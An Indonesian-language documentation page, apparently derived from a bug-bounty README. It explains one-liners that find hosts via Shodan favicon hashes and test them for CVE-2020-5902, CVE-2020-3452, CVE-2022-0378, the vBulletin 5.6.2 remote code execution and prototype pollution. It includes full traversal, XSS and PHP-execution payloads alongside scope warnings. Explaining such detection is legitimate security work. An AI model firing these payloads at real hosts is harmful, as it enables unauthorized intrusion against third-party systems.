4.3
CVE, RCE, dan Prototype Pollution
Bagian ini menutup rangkaian deteksi dengan perintah yang langsung memberi verdict, bukan lagi kandidat. Ada dua bentuk: pencarian host lewat sidik favicon shodan search yang dilanjutkan curl ke satu path tetap, dan pipeline page-fetch yang menyuntikkan __proto__[testparam]=exploit untuk menguji prototype pollution. Placeholder HOST, HOSTS.txt, dan URLS.txt mengikuti konvensi di Placeholder dan Konvensi Penulisan One-liner.
Dari shodan search ke curl ke verdict
One-liner CVE-2020-5902 dan vBulletin sama-sama mulai dari satu query sidik favicon. Hasil shodan search dibatasi ke --fields ip_str,port --separator " ", lalu awk '{print $1":"$2}' menyatukan keduanya menjadi host:port. Setiap baris masuk ke while read host, dan curl menguji satu request tetap; keputusan diambil oleh grep -q atas penanda di response. README.md:64-691
graph LR
S["shodan search http.favicon.hash:-335242539"] --> A["awk ip_str:port"]
A --> W["while read host"]
W --> C["curl --path-as-is --insecure"]
C --> G["grep -q root"]
G -->|cocok| V["Vulnerable merah"]
G -->|tidak cocok| N["Not Vulnerable hijau"]
style S fill:#8b5cf6,color:#fff
style C fill:#f59e0b,color:#000
style G fill:#f59e0b,color:#000
style V fill:#dc2626,color:#fff
style N fill:#2d7d46,color:#fff
%% fig: Alur shodan search ke curl ke verdict
%% desc: Sidik favicon menghasilkan pasangan ip:port, curl menguji satu path traversal, lalu grep -q root memutuskan verdict merah atau hijau.Pada CVE-2020-5902, path uji memuat tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd. Opsi --path-as-is mencegah curl menormalkan ..;/ sehingga traversal sampai ke server apa adanya, dan --insecure melewati verifikasi sertifikat TLS. Penanda suksesnya sederhana: grep -q root, yaitu jejak isi /etc/passwd di response. README.md:64-691
Pada vBulletin 5.6.2, query memakai sidik http.favicon.hash:-601665621 tanpa parameter tambahan, dan curl mengirim POST ke http://$host/ajax/render/widget_tabbedcontainer_tab_panel dengan body subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();. Penandanya grep -q phpinfo, yaitu keluaran fungsi PHP yang dieksekusi. README.md:85-902
⚠️
shodan searchmengembalikan host milik pihak lain, bukan hanya aset program. Setiap host wajib dicek terhadap scope sebelumcurldijalankan, karena dua perintah ini mengirim path traversal dan payload eksekusi kode ke host tersebut. README.md:64-691
Empat one-liner CVE dan RCE
Dua perintah lain tidak memakai Shodan. CVE-2020-3452 membaca HOSTS.txt baris per baris lewat while read LINE; do ... done < HOSTS.txt, sedangkan CVE-2022-0378 membaca URLS.txt lewat pipe. Keduanya tetap memakai pola yang sama: satu request, satu penanda di response. README.md:71-763
| One-liner | Titik awal | Request uji | Penanda sukses |
|---|---|---|---|
| CVE-2020-5902 | shodan search http.favicon.hash:-335242539 "3992" | curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root |
| CVE-2020-3452 | HOSTS.txt | curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | grep -q "Cisco" |
| CVE-2022-0378 | URLS.txt | curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x" | grep -qs "onmouse" |
| vBulletin 5.6.2 | shodan search http.favicon.hash:-601665621 | curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo |
CVE-2020-3452 memakai traversal pada parameter: type=mst dan textdomain=/%2bCSCOE%2b/portal_inc.lua dengan lang=../, lalu head | grep -q "Cisco" memastikan berkas Lua internal ikut terbaca. One-liner ini juga mencetak verdict berwarna, tetapi ${GREEN}, ${RED}, dan ${NC} tidak didefinisikan di dalam perintah, jadi variabel itu harus sudah ada di shell. README.md:71-763
CVE-2022-0378 justru tidak memakai shodan maupun HOSTS.txt; ia membaca URLS.txt dan menempelkan /module/?module=admin%2Fmodules%2Fmanage pada setiap URL. Penandanya grep -qs "onmouse", yaitu jejak atribut onmousemove yang tidak di-escape pada response. Perintah menulis while read h do; do, sehingga read menerima dua variabel dan h hanya berisi field pertama setiap baris. Tidak ada cabang ||, jadi host yang tidak rentan tidak menghasilkan keluaran sama sekali. README.md:78-834
Prototype pollution lewat page-fetch
Pipeline prototype pollution tidak memakai fingerprint vendor, melainkan menguji perilaku JavaScript. subfinder -d HOST -all -silent dan httpx -silent -threads 300 menyusun daftar host, anew -q FILE.txt membuang duplikat, lalu sed 's/$/\/?__proto__[testparam]=exploit\//' menambahkan parameter ke akhir setiap baris. README.md:57-625
graph LR
SU["subfinder -d HOST -all -silent"] --> HT["httpx -silent -threads 300"]
HT --> AN["anew -q FILE.txt"]
AN --> SE["sed append __proto__[testparam]=exploit"]
SE --> PF["page-fetch -j window.testparam"]
PF --> CL["sed hapus kurung dan prefiks JS"]
CL --> GR["grep VULNERABLE"]
style AN fill:#336791,color:#fff
style SE fill:#8b5cf6,color:#fff
style PF fill:#f59e0b,color:#000
style GR fill:#2d7d46,color:#fff
%% fig: Pipeline prototype pollution dengan page-fetch
%% desc: subfinder dan httpx mengumpulkan host, sed menambah parameter __proto__, page-fetch mengevaluasi ekspresi JavaScript, lalu grep memfilter baris verdict.Inti pengujiannya ada di satu ekspresi: page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"'. Ekspresi itu berjalan di halaman hasil injeksi; jika properti testparam naik ke window, cabang pertama yang tercetak. Rantai sed sesudahnya hanya merapikan keluaran dengan membuang (, ), dan prefiks JS sebelum grep "VULNERABLE" menyaring hasil. README.md:57-625
⚠️ Pola
grep "VULNERABLE"juga cocok pada[NOT VULNERABLE], karena string itu memuat kata yang sama. Host yang tidak rentan tetap lolos ke keluaran, jadi verdict harus dibaca dari teks lengkap setiap baris. README.md:57-625
| One-liner | Verdict saat cocok | Verdict saat tidak cocok |
|---|---|---|
| CVE-2020-5902 | "$host" dengan Vulnerable merah | "$host" dengan Not Vulnerable hijau |
| CVE-2020-3452 | [VULNERABLE] $LINE | [NOT VULNERABLE] $LINE |
| CVE-2022-0378 | $h: VULNERABLE | tidak ada keluaran |
| vBulletin 5.6.2 | "$host" dengan Vulnerable merah | "$host" dengan Not Vulnerable hijau |
| Prototype pollution | baris [VULNERABLE] dari page-fetch | baris [NOT VULNERABLE] yang ikut lolos grep |
⚠️
subWidgets[0][config][code]=phpinfo();mengeksekusi kode PHP di host target, danfileName=/etc/passwdmembaca berkas sistem. Kedua perintah hanya aman dijalankan pada aset yang eksplisit masuk scope dan memberi izin pengujian. README.md:85-902
Setelah verdict keluar, tahap berikutnya adalah merangkai perintah recon dan deteksi ini menjadi satu alur kerja; urutannya dibahas di Alur Pipeline dan Toolchain.